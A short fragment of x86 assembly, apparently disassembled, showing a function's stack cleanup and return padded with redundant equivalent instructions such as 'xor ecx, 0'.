mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1001552d
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x10015501